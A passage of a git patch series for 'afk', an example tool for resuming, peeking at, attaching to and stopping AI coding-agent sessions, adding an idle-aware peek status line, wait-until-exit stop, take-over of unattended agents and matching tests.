c in chosen[1]): + self.confirming = chosen self.show_keys() else: - self.done(argv) - - def done(self, argv: list[str]) -> None: - # Leave the command it stands for, not the list, by the name the list - # showed: what you would have typed, so the scrollback reads like a - # shell session. The argv itself keeps the full id: never ambiguous. - # Only afk knows the list's names; a harness's own command needs the - # full id. + self.done(chosen[1]) + + def done(self, commands: list[Command]) -> None: + # Leave the commands it stands for, not the list, by the name the + # list showed: what you would have typed, so the scrollback reads + # like a shell session. The commands themselves keep the full id: + # never ambiguous. Only afk knows the list's names; a harness's own + # command needs the full id. row = self.selected() - name = (row.label or row.short) if row and argv[0] == "afk" else None - shown = [ - name if row and name and a == row.session_id else a for a in argv - ] + name = (row.label or row.short) if row else None + + def typed(argv: Command) -> str: + if argv[0] != "afk" or row is None: + return shlex.join(argv) + return shlex.join( + [name if name and a == row.session_id else a for a in argv] + ) + self.exit( - argv, - message=Text(f"› {shlex.join(shown)}", style="dim"), # noqa: RUF001 + commands, + message=Text( + f"› {' && '.join(typed(c) for c in commands)}", # noqa: RUF001 + style="dim", + ), ) async def pick( head: Text, here: list[Row], remote: Awaitable[list[Row]] | None -) -> list[str] | None: +) -> list[Command] | None: return await Picker(head, here, remote).run_async( inline=True, inline_no_clear=True ) diff --git a/examples/apps/afk/afk/verbs.py b/examples/apps/afk/afk/verbs.py index e1a641e8..ccdf45b3 100644 --- a/examples/apps/afk/afk/verbs.py +++ b/examples/apps/afk/afk/verbs.py @@ -278,6 +278,24 @@ def _peek_start(messages: list[Any]) -> int: PEEK_QUIET = 8.0 """Quiet seconds after the agent's last words before peek calls it done.""" +PEEK_IDLE = 30.0 +"""Quiet seconds, with nothing pending, before peek stops following a +conversation a person drives: its transcript can end on an interrupted turn +or an unanswered prompt, which never reads as a finished turn.""" + +SPINNER = "⠋⠙⠹⠸⠼⠴⠦⠧⠇⠏" + + +def _pending(messages: list[Any]) -> bool: + """Whether the agent is mid-step: a tool call out, or a result in that it + has not answered yet.""" + if not messages: + return False + last = messages[-1] + return last.role == "tool" or any( + getattr(p, "kind", "") == "tool_call" for p in last.parts + ) + async def peek( row: Row, @@ -290,8 +308,10 @@ async def peek( maybe open in another terminal. Read-only: it reads the stored record, so it never becomes a second writer. - Returns when the agent has finished its turn; Ctrl-C stops watching, never - the agent. + Follows like `tail -f`, with a status line saying so on a terminal. + Returns when the agent has finished its turn, when it is no longer + running, or, for a conversation a person drives, when nothing has come in + for a while; Ctrl-C stops watching, never the agent. """ if row.where == "here" and cwd is not None: ws: Local | VercelSandbox = Local(cwd, gateway=gateway) @@ -307,15 +327,46 @@ async def peek( if row.where == "here" else f" · `afk pull {row.label or row.short} --files` brings it home" ) + # A person drives it: here, or a pushed TUI. An unattended agent is + # followed until its turn is done, however quiet it gets on the way. + driven = row.where == "here" or row.mode == "tui" width = shutil.get_terminal_size().columns - style = render.Style(color=sys.stdout.isatty()) + tty = sys.stdout.isatty() + style = render.Style(color=tty) name = row.label or row.short + loop = asyncio.get_running_loop() + changed = loop.time() + frame = 0 + + def status() -> None: + # One line under the transcript, redrawn in place: following, not + # frozen. Cut to the width, or a wrapped line would not redraw. + nonlocal frame + if not tty: + return + frame += 1 + text = ( + f" {SPINNER[frame % len(SPINNER)]} following {name} · nothing " + f"new for {int(loop.time() - changed)}s · Ctrl-C to stop" + )[: width - 1] + sys.stdout.write(f"\r\x1b[2K{style.dim(text)}") + sys.stdout.flush() + + def clear() -> None: + if tty: + sys.stdout.write("\r\x1b[2K") + sys.stdout.flush() + + def end(why: str) -> None: + clear() + print(style.dim(f"\nafk: {name} {why}")) + async with ws: async with HARNESSES[row.kind](workspace=ws) as agent: print( style.dim( f"afk: watching {name} · {KIND_SHORT[row.kind]} · " - f"{where} — Ctrl-C stops watching; the agent keeps going" + f"{where} — the agent keeps going when you stop watching" ) ) messages = await agent.history(row.session_id) @@ -326,40 +377,57 @@ async def peek( f" … {shown} earlier message{'s' * (shown != 1)}" ) ) - loop = asyncio.get_running_loop() - changed = loop.time() polls = 0 - while True: - for m in messages[shown:]: - drawn = render.lines(m, width, style) - if drawn and m.role == "user": - print() - for line in drawn: - print(line) - if len(messages) > shown: - changed = loop.time() - shown = len(messages) - # The finished turn ends a peek; this check only catches an - # agent that died, so it need not list every session each poll. - polls += 1 - held = polls % PEEK_HELD_EVERY != 1 or any( - i.running - for i in await agent.sessions() - if i.session_id == row.session_id - ) - if not held: - print(style.dim(f"\nafk: {name} is not running{home}")) - return - if ( - turn_finished( - messages, CONTINUE_MARK if row.mode == "bg" else None + try: + while True: + if len(messages) > shown: + clear() + for m in messages[shown:]: + drawn = render.lines(m, width, style) + if drawn and m.role == "user": + print() + for line in drawn: + print(line) + changed = loop.time() + shown = len(messages) + # The finished turn ends a peek; this check only catches + # an agent that died, so it need not list every session + # each poll. + polls += 1 + held = polls % PEEK_HELD_EVERY != 1 or any( + i.running + for i in await agent.sessions() + if i.session_id == row.session_id ) - and loop.time() - changed >= PEEK_QUIET - ): - print(style.dim(f"\nafk: {name} finished its turn{home}")) - return - await asyncio.sleep(every) - messages = await agent.history(row.session_id) + quiet = loop.time() - changed + if not held: + end(f"is not running{home}") + return + if ( + turn_finished( + messages, + CONTINUE_MARK if row.mode == "bg" else None, + ) + and quiet >= PEEK_QUIET + ): + end(f"finished its turn{home}") + return + if driven and quiet >= PEEK_IDLE and not _pending(messages): + end( + f"has had nothing new for {int(PEEK_IDLE)}s; it " + "may be waiting for input" + ) + return + # Redraw the status line while waiting for the next poll. + deadline = loop.time() + every + while (left := deadline - loop.time()) > 0: + status() + await asyncio.sleep(min(left, 0.25)) + messages = await agent.history(row.session_id) + except asyncio.CancelledError: + # Ctrl-C: the agent was never ours to stop. + end("keeps going; you stopped watching") + raise async def pull( @@ -497,6 +565,17 @@ async def stop(row: Row, gateway: Gateway | None) -> None: except ProcessLookupError: print(f"afk: {row.short} had already exited") return + # Stopped means gone: whatever runs next on this conversation (a + # take-over's resume) must not overlap it. + loop = asyncio.get_running_loop() + deadline = loop.time() + STOP_WAIT + while _alive(row.pid): + if loop.time() > deadline: + raise HarnessError( + f"{row.short} (pid {row.pid}) did not exit within " + f"{STOP_WAIT:g}s of being asked to" + ) + await asyncio.sleep(0.1) print( f"afk: stopped {row.short} ({KIND_SHORT[row.kind]}, pid {row.pid})" ) @@ -523,6 +602,20 @@ async def stop(row: Row, gateway: Gateway | None) -> None: ) +STOP_WAIT = 10.0 +"""Seconds a stopped process here gets to exit before afk says it did not.""" + + +def _alive(pid: int) -> bool: + try: + os.kill(pid, 0) + except ProcessLookupError: + return False + except PermissionError: + return True + return True + + def _remember_baseline(sandbox: str, manifest: dict[str, str]) -> None: current = st.load() current.baselines[sandbox] = manifest diff --git a/examples/apps/afk/tests/test_tui.py b/examples/apps/afk/tests/test_tui.py index d11b4b9f..b0d6783b 100644 --- a/examples/apps/afk/tests/test_tui.py +++ b/examples/apps/afk/tests/test_tui.py @@ -66,21 +66,23 @@ async def _press(*keys: str, remote_delay: float = 0.0) -> Picker: @pytest.mark.parametrize( ("keys", "argv"), [ - (["enter"], ["claude", "--resume", "a3f5aaaa"]), - (["down", "enter"], ["codex", "resume", "01a0cccc"]), - (["p"], ["afk", "peek", "a3f5aaaa"]), - (["u"], ["afk", "push", "a3f5aaaa"]), - (["b"], ["afk", "push", "a3f5aaaa", "--bg"]), - (["down", "down", "enter"], ["afk", "attach", "c2d1dddd"]), - (["down", "down", "down", "enter"], ["afk", "peek", "9e7feeee"]), - (["down", "down", "p"], ["afk", "peek", "c2d1dddd"]), - (["down", "down", "down", "p"], ["afk", "peek", "9e7feeee"]), - (["down", "down", "l"], ["afk", "pull", "c2d1dddd"]), - (["down", "down", "f"], ["afk", "pull", "c2d1dddd", "--files"]), - (["down", "down", "s", "y"], ["afk", "stop", "c2d1dddd"]), + (["enter"], [["claude", "--resume", "a3f5aaaa"]]), + (["down", "enter"], [["codex", "resume", "01a0cccc"]]), + (["p"], [["afk", "peek", "a3f5aaaa"]]), + (["u"], [["afk", "push", "a3f5aaaa"]]), + (["b"], [["afk", "push", "a3f5aaaa", "--bg"]]), + (["down", "down", "enter"], [["afk", "attach", "c2d1dddd"]]), + (["down", "down", "down", "enter"], [["afk", "peek", "9e7feeee"]]), + (["down", "down", "p"], [["afk", "peek", "c2d1dddd"]]), + (["down", "down", "down", "p"], [["afk", "peek", "9e7feeee"]]), + (["down", "down", "l"], [["afk", "pull", "c2d1dddd"]]), + (["down", "down", "f"], [["afk", "pull", "c2d1dddd", "--files"]]), + (["down", "down", "s", "y"], [["afk", "stop", "c2d1dddd"]]), ], ) -async def test_keys_choose_a_command(keys: list[str], argv: list[str]) -> None: +async def test_keys_choose_a_command( + keys: list[str], argv: list[list[str]] +) -> None: assert (await _press(*keys)).return_value == argv @@ -136,8 +138,10 @@ async def test_local_rows_are_there_while_sandboxes_answer() -> None: await pilot.pause(0.1) assert app.remote_rows is None await pilot.press("enter") - assert app.return_value == ["claude", "--resume", "a3f5aaaa"] + assert app.return_value == [["claude", "--resume", "a3f5aaaa"]] + +RESUME_77E1 = ["claude", "--resume", "77e1ffff"] IN_USE = [ # Open in another terminal, and the harness can say which process. @@ -177,15 +181,19 @@ async def _press_in_use(*keys: str) -> tuple[Picker, str]: @pytest.mark.parametrize( ("keys", "argv"), [ - # Enter cannot resume what another terminal is writing: it peeks. - (["enter"], ["afk", "peek", "77e1ffff"]), - (["down", "enter"], ["afk", "peek", "5b0c0000"]), - (["s", "y"], ["afk", "stop", "77e1ffff"]), - (["u"], ["afk", "push", "77e1ffff"]), + # Enter takes over what another terminal has open, once you say y: + # that process ends first, then the TUI opens here. + (["enter", "y"], [["afk", "stop", "77e1ffff"], RESUME_77E1]), + (["enter", "n"], None), + # No process afk can end: Enter peeks. + (["down", "enter"], [["afk", "peek", "5b0c0000"]]), + (["p"], [["afk", "peek", "77e1ffff"]]), + (["s", "y"], [["afk", "stop", "77e1ffff"]]), + (["u"], [["afk", "push", "77e1ffff"]]), ], ) async def test_a_conversation_open_elsewhere( - keys: list[str], argv: list[str] + keys: list[str], argv: list[list[str]] | None ) -> None: app, _ = await _press_in_use(*keys) assert app.return_value == argv @@ -196,10 +204,18 @@ async def test_stop_here_names_the_process_it_ends() -> None: assert shown == "stop 77e1 (claude, pid 4242)? y/N" +async def test_take_over_asks_first_and_names_the_process() -> None: + _, shown = await _press_in_use("enter") + assert shown == "take over 77e1 from pid 4242? it ends there. y/N" + + @pytest.mark.parametrize( ("downs", "keys"), [ - (0, "enter peek · s stop · u push · b push --bg · q quit"), + ( + 0, + "enter take over · p peek · s stop · u push · b push --bg · q quit", + ), # no process afk can name: nothing to stop (1, "enter peek · u push · b push --bg · q quit"), ], diff --git a/examples/apps/afk/tests/test_verbs.py b/examples/apps/afk/tests/test_verbs.py index d8b5c6e5..312d81fb 100644 --- a/examples/apps/afk/tests/test_verbs.py +++ b/examples/apps/afk/tests/test_verbs.py @@ -2,6 +2,10 @@ from __future__ import annotations +import asyncio +import contextlib +import os +import signal import subprocess import sys from typing import TYPE_CHECKING, Any @@ -12,7 +16,7 @@ from ai.harnesses.experimental import SessionInfo from ai.harnesses.experimental.errors import HarnessError -from ai.types.messages import Message, TextPart +from ai.types.messages import Message, TextPart, ToolCallPart if TYPE_CHECKING: from pathlib import Path @@ -28,33 +32,70 @@ def _here(**kw: Any) -> Row: ) +def _detached(code: str) -> int: + """A process standing in for a CLI in another terminal: not afk's child, + so nothing here reaps it, as nothing in afk reaps a real one.""" + out = subprocess.run( + [ + "sh", + "-c", + f'"{sys.executable}" -c "{code}" >/dev/null 2>&1 & echo $!', + ], + capture_output=True, + text=True, + check=True, + ) + return int(out.stdout) + + @pytest.fixture def other_terminal() -> Any: - """A process standing in for a CLI in another terminal.""" - p = subprocess.Popen([sys.executable, "-c", "import time; time.sleep(60)"]) - yield p - p.kill() - p.wait() + pids: list[int] = [] + def spawn(code: str = "import time; time.sleep(60)") -> int: + pids.append(_detached(code)) + return pids[-1] -async def test_stop_ends_the_process_and_says_which( - other_terminal: subprocess.Popen[bytes], - capsys: pytest.CaptureFixture[str], + yield spawn + for pid in pids: + with contextlib.suppress(ProcessLookupError): + os.kill(pid, signal.SIGKILL) + + +async def test_stop_returns_once_the_process_is_gone( + other_terminal: Any, capsys: pytest.CaptureFixture[str] ) -> None: - await verbs.stop(_here(running=True, pid=other_terminal.pid), None) - assert other_terminal.wait(timeout=10) == -15 # SIGTERM + pid = other_terminal() + await verbs.stop(_here(running=True, pid=pid), None) + # Gone by the time stop returns: a take-over's resume never overlaps it. + assert not verbs._alive(pid) assert capsys.readouterr().out == ( - f"afk: stopped 77e1 (claude, pid {other_terminal.pid})\n" + f"afk: stopped 77e1 (claude, pid {pid})\n" + ) + + +async def test_stop_says_when_the_process_will_not_exit( + other_terminal: Any, monkeypatch: pytest.MonkeyPatch +) -> None: + pid = other_terminal( + "import signal, time; signal.signal(signal.SIGTERM, signal.SIG_IGN); " + "time.sleep(60)" ) + await asyncio.sleep(0.5) # let it install the handler + monkeypatch.setattr(verbs, "STOP_WAIT", 0.5) + with pytest.raises(HarnessError, match=r"did not exit within 0\.5s"): + await verbs.stop(_here(running=True, pid=pid), None) + assert verbs._alive(pid) async def test_stop_of_a_process_already_gone_says_so( - other_terminal: subprocess.Popen[bytes], - capsys: pytest.CaptureFixture[str], + other_terminal: Any, capsys: pytest.CaptureFixture[str] ) -> None: - other_terminal.kill() - other_terminal.wait() - await verbs.stop(_here(running=True, pid=other_terminal.pid), None) + pid = other_terminal() + os.kill(pid, signal.SIGKILL) + while verbs._alive(pid): + await asyncio.sleep(0.05) + await verbs.stop(_here(running=True, pid=pid), None) assert capsys.readouterr().out == "afk: 77e1 had already exited\n" @@ -131,3 +172,94 @@ def harness(*, workspace: Any) -> _Agent: async def test_peek_needs_somewhere_to_look() -> None: with pytest.raises(HarnessError, match="nothing to peek at"): await verbs.peek(_here(), None) + + +def _peek_at( + monkeypatch: pytest.MonkeyPatch, messages: list[Message], *, running: bool +) -> None: + agent = _Agent(messages, running=running) + monkeypatch.setitem( + verbs.HARNESSES, "claude-code", lambda *, workspace: agent + ) + + +INTERRUPTED = [ + Message(role="user", parts=[TextPart(text="fix the router")]), + Message( + role="user", parts=[TextPart(text="[Request interrupted by user]")] + ), +] + + +async def test_peek_stops_when_a_session_open_here_goes_quiet( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + # Still open, but its transcript ends on an interrupted turn, which never + # reads as a finished one: peek used to follow it forever. + _peek_at(monkeypatch, INTERRUPTED, running=True) + monkeypatch.setattr(verbs, "PEEK_IDLE", 0.3) + await asyncio.wait_for( + verbs.peek(_here(), None, cwd=tmp_path, every=0.05), 5 + ) + assert ( + capsys.readouterr().out.rstrip().endswith("it may be waiting for input") + ) + + +async def test_peek_keeps_following_while_a_tool_call_is_out( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + # A long tool call (a test suite) is quiet too, and not idle. + call = ToolCallPart(tool_call_id="c1", tool_name="Bash", tool_args="{}") + _peek_at( + monkeypatch, + [INTERRUPTED[0], Message(role="assistant", parts=[call])], + running=True, + ) + monkeypatch.setattr(verbs, "PEEK_IDLE", 0.1) + with pytest.raises(TimeoutError): + await asyncio.wait_for( + verbs.peek(_here(), None, cwd=tmp_path, every=0.05), 1 + ) + # Stopping the watch says the agent goes on. + assert ( + capsys.readouterr() + .out.rstrip() + .endswith("afk: 77e1 keeps going; you stopped watching") + ) + + +async def test_peek_on_a_terminal_says_it_is_following( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + _peek_at(monkeypatch, INTERRUPTED, running=True) + monkeypatch.setattr(verbs, "PEEK_IDLE", 0.6) + monkeypatch.setattr(sys.stdout, "isatty", lambda: True) + await asyncio.wait_for( + verbs.peek(_here(), None, cwd=tmp_path, every=0.1), 5 + ) + out = capsys.readouterr().out + assert "following 77e1 · nothing new for 0s · Ctrl-C to stop" in out + # Redrawn in place, and cleared before the line that ends it. + assert "\r\x1b[2K" in out + assert out.rstrip().endswith("it may be waiting for input\x1b[0m") + + +async def test_peek_piped_draws_no_status_line( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + _peek_at(monkeypatch, INTERRUPTED, running=True) + monkeypatch.setattr(verbs, "PEEK_IDLE", 0.3) + await asyncio.wait_for( + verbs.peek(_here(), None, cwd=tmp_path, every=0.05), 5 + ) + out = capsys.readouterr().out + assert "following" not in out and "\x1b" not in out From ba092477045c3768880249c2f820a171e5f62600 Mon Sep 17 00:00:00 2001 From: George Date: Thu, 8 Oct 2026 17:29:34 -0700 Subject: [PATCH 16/37] pty holder: a program that ends at once still shows its output and status The holder sent the exit frame and closed right away. A client still sending (the bridge's first resize) then wrote to a closed socket, and asyncio drops what it has received but not read yet when a write fails: the output and the exit frame were lost, and tty.bridge reported the connection ended. Seen in CI as test_bridge_shows_a_program_that_ended_ before_it_was_ready failing on Linux. The holder now stops writing after the exit frame and reads until the client hangs up, bounded by LINGER, before closing. --- src/ai/workspaces/experimental/_pty_holder.py | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/src/ai/workspaces/experimental/_pty_holder.py b/src/ai/workspaces/experimental/_pty_holder.py index 6d092198..bfa93f87 100644 --- a/src/ai/workspaces/experimental/_pty_holder.py +++ b/src/ai/workspaces/experimental/_pty_holder.py @@ -41,6 +41,9 @@ SCROLLBACK = 256 * 1024 +LINGER = 10.0 +"""Seconds a holder keeps reading from its client after the exit frame.""" + def frame(kind: bytes, payload: bytes = b"") -> bytes: return kind + struct.pack(">I", len(payload)) + payload @@ -191,10 +194,20 @@ def finish(raw_status: int) -> int: send(frame(b"o", scrollback)) status = os.waitstatus_to_exitcode(raw_status) send(frame(b"x", str(status).encode())) - if client is not None: - client.close() server.close() _unlink(sock_path, sock_path + ".pid", sock_path + ".client") + if client is not None: + # Linger: a client may still be sending (the first resize of a + # program that already ended). Its write to a closed socket + # fails, and asyncio then drops the output and exit frames it + # has received but not read yet. So stop writing, keep reading + # until it hangs up, then close. + with contextlib.suppress(OSError): + client.shutdown(socket.SHUT_WR) + client.settimeout(LINGER) + while client.recv(65536): + pass + client.close() return status while True: From f184ecc593c541635a1b33e1035cac6e1a899d38 Mon Sep 17 00:00:00 2001 From: George Date: Thu, 8 Oct 2026 17:29:34 -0700 Subject: [PATCH 17/37] afk: tests patch HARNESSES in rows, where it lives verbs only imports it, and mypy does not let a test reach an imported name through another module, which failed check-examples in CI. --- examples/apps/afk/tests/test_verbs.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/examples/apps/afk/tests/test_verbs.py b/examples/apps/afk/tests/test_verbs.py index 312d81fb..a4872c35 100644 --- a/examples/apps/afk/tests/test_verbs.py +++ b/examples/apps/afk/tests/test_verbs.py @@ -11,7 +11,7 @@ from typing import TYPE_CHECKING, Any import pytest -from afk import verbs +from afk import rows, verbs from afk.rows import Row from ai.harnesses.experimental import SessionInfo @@ -158,7 +158,7 @@ def harness(*, workspace: Any) -> _Agent: opened.append(workspace) return agent - monkeypatch.setitem(verbs.HARNESSES, "claude-code", harness) + monkeypatch.setitem(rows.HARNESSES, "claude-code", harness) await verbs.peek(_here(), None, cwd=tmp_path, every=0) assert opened[0].kind == "local" assert str(opened[0].path) == str(tmp_path.resolve()) @@ -179,7 +179,7 @@ def _peek_at( ) -> None: agent = _Agent(messages, running=running) monkeypatch.setitem( - verbs.HARNESSES, "claude-code", lambda *, workspace: agent + rows.HARNESSES, "claude-code", lambda *, workspace: agent ) From 3bd449418594782da8112695c2b7f7a9933ce898 Mon Sep 17 00:00:00 2001 From: George Date: Thu, 8 Oct 2026 17:35:18 -0700 Subject: [PATCH 18/37] afk: attach steps into one pushed unattended `afk attach` on a conversation pushed with --bg opened nothing: only a TUI could be attached, and Enter on such a row peeked. Now attach ends the unattended agent that still holds the conversation (asking first if it is mid-turn, since that ends the turn), waits until it has exited, and opens the TUI on the same conversation in its sandbox. The row becomes a TUI from then on, so the next attach reconnects to its pty. Enter in the picker attaches on every remote row. --- examples/apps/afk/README.md | 14 +- examples/apps/afk/afk/tui.py | 9 +- examples/apps/afk/afk/verbs.py | 96 ++++++++++--- examples/apps/afk/tests/test_tui.py | 9 +- examples/apps/afk/tests/test_verbs.py | 200 +++++++++++++++++++++++++- 5 files changed, 295 insertions(+), 33 deletions(-) diff --git a/examples/apps/afk/README.md b/examples/apps/afk/README.md index 8727154a..b005c6cb 100644 --- a/examples/apps/afk/README.md +++ b/examples/apps/afk/README.md @@ -33,7 +33,7 @@ A key means the same thing on every row it appears on: | key | | |---|---| -| Enter | into the conversation: one here resumes in its harness's own TUI (`claude --resume ` or `codex resume `), a pushed one is attached. One here that is open in another terminal is taken over, after a y: that process ends first, then the TUI opens here (`afk stop && claude --resume `). Where afk cannot end what drives it, or it runs unattended, Enter peeks | +| Enter | into the conversation: one here resumes in its harness's own TUI (`claude --resume ` or `codex resume `), a pushed one is attached. One here that is open in another terminal is taken over, after a y: that process ends first, then the TUI opens here (`afk stop && claude --resume `). Where afk cannot end what drives it, Enter peeks | | `p` | peek | | `s` | stop: a pushed one's sandbox, or the process a conversation here is open in | | `u`, `b` | push, push `--bg` (a conversation here) | @@ -49,7 +49,7 @@ a fresh `codex` names no conversation afk can find. |---|---| | `afk [--all]` | this directory's conversations, and the ones pushed elsewhere, with a status; `--all` lists every one, not just the recent 15 | | `afk push [id] [--as NAME] [--bg] [--hours H]` | copy it and this directory into a sandbox of its own and open the TUI there, or run it unattended with `--bg`; the sandbox lives up to `H` hours (default 5) | -| `afk attach ` | your terminal, back on its TUI; if you quit the TUI, attach opens it again in the sandbox | +| `afk attach ` | your terminal, back on its TUI; if you quit the TUI, attach opens it again in the sandbox. One pushed with `--bg` opens in the TUI there: its unattended agent is ended first, after a y if it is still mid-turn | | `afk peek ` | follow a conversation's transcript like `tail -f`, read-only: a pushed one, or one here open in another terminal. A status line says it is following; it ends when the agent finishes its turn or stops running, or, for one a person drives, after 30s with nothing new. Ctrl-C stops watching, never the agent | | `afk pull [--files]` | bring a conversation home and open it in the TUI here; `--files` also brings the files it changed there, after showing them and asking | | `afk stop ` | end its sandbox; for a conversation here, end the process it is open in and wait until it has exited (that terminal gets its prompt back; the conversation stays) | @@ -88,8 +88,10 @@ $ afk peek tests # tail what it is doing $ afk pull tests --files # bring the result home, its edits too, in the TUI ``` -An unattended agent can be watched, pulled, or stopped, not taken over: -that is the SDK's live-reattach follow-up. +To step in, `afk attach tests` opens it in the TUI in its sandbox, on the +same conversation. The unattended agent still holds that conversation after +its turn, so attach ends it first; mid-turn, it asks, since that ends the +turn. From then on it is a TUI like any other. **Bring the work home.** `pull` alone brings only the conversation: your files are never touched. `pull --files` also brings what the agent changed @@ -133,8 +135,8 @@ A remote conversation's status says what you can do with it: | status | meaning | |---|---| -| `running` | its TUI runs in the sandbox with no terminal on it (`afk attach` to open it), or an unattended agent is mid-turn (`afk peek` to watch) | -| `finished` | an unattended agent has finished its turn; `afk pull --files` brings it home | +| `running` | its TUI runs in the sandbox with no terminal on it (`afk attach` to open it), or an unattended agent is mid-turn (`afk peek` to watch, `afk attach` to step in) | +| `finished` | an unattended agent has finished its turn; `afk attach` opens it in the TUI there, `afk pull --files` brings it home | | `open elsewhere` | a terminal is on it right now, maybe yours in another tab; `afk attach` takes it over | | `idle` | its TUI has exited; `afk attach` reopens it there, `afk pull` brings it home | | `gone` | its sandbox no longer exists; afk forgets it | diff --git a/examples/apps/afk/afk/tui.py b/examples/apps/afk/afk/tui.py index e24eef28..100f3334 100644 --- a/examples/apps/afk/afk/tui.py +++ b/examples/apps/afk/afk/tui.py @@ -40,8 +40,9 @@ def verbs(row: Row) -> Verbs: """A key means one thing on every row it is on. Enter puts you in the conversation, wherever it is: resumed here, attached there. One open in another terminal here, Enter takes over, as attach does there: that - process ends and the TUI opens here. Where afk cannot end what drives - it, Enter peeks.""" + process ends and the TUI opens here. One pushed unattended, attach ends + the agent there and opens the TUI on its conversation, asking first if + it is mid-turn. Where afk cannot end what drives it, Enter peeks.""" sid = row.session_id # Peek reads the transcript, so it watches a TUI as well as an # unattended agent, here or there. @@ -66,9 +67,7 @@ def verbs(row: Row) -> Verbs: "b": ("push --bg", [["afk", "push", sid, "--bg"]]), } return { - "enter": ( - ("attach", [["afk", "attach", sid]]) if row.mode == "tui" else peek - ), + "enter": ("attach", [["afk", "attach", sid]]), "p": peek, "l": ("pull", [["afk", "pull", sid]]), "f": ("pull --files", [["afk", "pull", sid, "--files"]]), diff --git a/examples/apps/afk/afk/verbs.py b/examples/apps/afk/afk/verbs.py index ccdf45b3..45bfb8f5 100644 --- a/examples/apps/afk/afk/verbs.py +++ b/examples/apps/afk/afk/verbs.py @@ -187,22 +187,25 @@ async def push( ) # keep=True: leaves the VM and everything in it running -async def attach(row: Row, gateway: Gateway | None) -> None: +async def attach( + row: Row, + gateway: Gateway | None, + *, + ask: Callable[[str], str] = input, +) -> None: """Your terminal on the conversation's TUI in its sandbox. If the TUI is still running, reconnect to it; if it has exited (you quit it, or it crashed), open it again there on the same conversation. + + One pushed with --bg has no TUI yet: the agent that ran it unattended + still holds the conversation after its turn, so it is ended first — + mid-turn, only after a yes — and the TUI opens on the same conversation. + From then on it is a TUI like any other: detach, attach, peek. """ - if ( - row.mode != "tui" - or not row.pty - or not row.sandbox - or row.handle is None - ): - raise HarnessError( - f"{row.label or row.short} was not pushed as a TUI; `afk peek` " - "watches an unattended one" - ) + if not row.sandbox or row.handle is None: + raise HarnessError(f"{row.label or row.short} has no sandbox to attach") + name = row.label or row.short async with VercelSandbox(name=row.sandbox, gateway=gateway) as ws: live = {p.name: p for p in await ws.ptys()} if row.pty in live: @@ -226,16 +229,77 @@ async def attach(row: Row, gateway: Gateway | None) -> None: return agent = HARNESSES[row.kind](workspace=ws) await agent.open() + if row.mode == "bg": + held = next( + ( + i + for i in await agent.sessions() + if i.session_id == row.session_id and i.running + ), + None, + ) + if held is not None: + # Ending it mid-turn ends that turn: ask. A finished one + # only waits for a next turn that will not come. + working = not turn_finished( + await agent.history(row.session_id), CONTINUE_MARK + ) + if working and not _yes( + ask, + f"afk: {name} is still working; attaching ends its turn " + "there, and you go on from where it stopped. go ahead? " + "[y/N] ", + ): + print( + f"afk: left {name} working; `afk peek {name}` to watch" + ) + await agent.close() + return + if held.pid is None: + await agent.close() + raise HarnessError( + f"afk cannot tell which process in {row.sandbox} has " + f"{name} open; `afk peek {name}` to watch" + ) + # Stopped means gone: the TUI must not overlap it. + pid = str(held.pid) + await ws.exec(["kill", "-TERM", pid], timeout=30) + loop = asyncio.get_running_loop() + deadline = loop.time() + STOP_WAIT + while ( + await ws.exec(["kill", "-0", pid], timeout=30) + ).exit_code == 0: + if loop.time() > deadline: + await agent.close() + raise HarnessError( + f"{name} (pid {pid} in {row.sandbox}) did not " + f"exit within {STOP_WAIT:g}s of being asked to" + ) + await asyncio.sleep(0.5) try: - tui = await agent.tui(row.session_id, name=row.pty) + tui = await agent.tui( + row.session_id, name=row.pty or _pty_name(name) + ) except SessionBusyError as busy: print(f"afk: {busy}") await agent.close() return - print( - f"afk: {row.label}'s TUI had exited; reopened it in {row.sandbox} " - "— Ctrl-] detaches" - ) + if row.mode == "bg": + # A TUI from now on: the next attach reconnects to its pty. + current = st.load() + for r in current.remotes: + if r.session_id == row.session_id: + r.mode, r.pty = "tui", tui.pty.name + st.save(current) + print( + f"afk: {name} · {row.sandbox} · in the TUI now, on the same " + "conversation — Ctrl-] detaches" + ) + else: + print( + f"afk: {name}'s TUI had exited; reopened it in {row.sandbox} " + "— Ctrl-] detaches" + ) status = await tty.bridge(tui.pty) if status is None: print(f"afk: detached; `afk attach {row.label}` to come back") diff --git a/examples/apps/afk/tests/test_tui.py b/examples/apps/afk/tests/test_tui.py index b0d6783b..d54a07a5 100644 --- a/examples/apps/afk/tests/test_tui.py +++ b/examples/apps/afk/tests/test_tui.py @@ -72,7 +72,7 @@ async def _press(*keys: str, remote_delay: float = 0.0) -> Picker: (["u"], [["afk", "push", "a3f5aaaa"]]), (["b"], [["afk", "push", "a3f5aaaa", "--bg"]]), (["down", "down", "enter"], [["afk", "attach", "c2d1dddd"]]), - (["down", "down", "down", "enter"], [["afk", "peek", "9e7feeee"]]), + (["down", "down", "down", "enter"], [["afk", "attach", "9e7feeee"]]), (["down", "down", "p"], [["afk", "peek", "c2d1dddd"]]), (["down", "down", "down", "p"], [["afk", "peek", "9e7feeee"]]), (["down", "down", "l"], [["afk", "pull", "c2d1dddd"]]), @@ -94,8 +94,11 @@ async def test_keys_choose_a_command( 2, "enter attach · p peek · l pull · f pull --files · s stop · q quit", ), - # an unattended agent: Enter already peeks, so p is not shown twice - (3, "enter peek · l pull · f pull --files · s stop · q quit"), + # an unattended agent: Enter attaches too, its agent ended first + ( + 3, + "enter attach · p peek · l pull · f pull --files · s stop · q quit", + ), ], ) async def test_the_keys_shown_are_the_rows_own(downs: int, keys: str) -> None: diff --git a/examples/apps/afk/tests/test_verbs.py b/examples/apps/afk/tests/test_verbs.py index a4872c35..c175daba 100644 --- a/examples/apps/afk/tests/test_verbs.py +++ b/examples/apps/afk/tests/test_verbs.py @@ -1,4 +1,5 @@ -"""stop and peek on a conversation here, one open in another terminal.""" +"""stop and peek on a conversation here, one open in another terminal; +attach on one pushed unattended.""" from __future__ import annotations @@ -8,15 +9,18 @@ import signal import subprocess import sys +from types import SimpleNamespace from typing import TYPE_CHECKING, Any import pytest from afk import rows, verbs -from afk.rows import Row 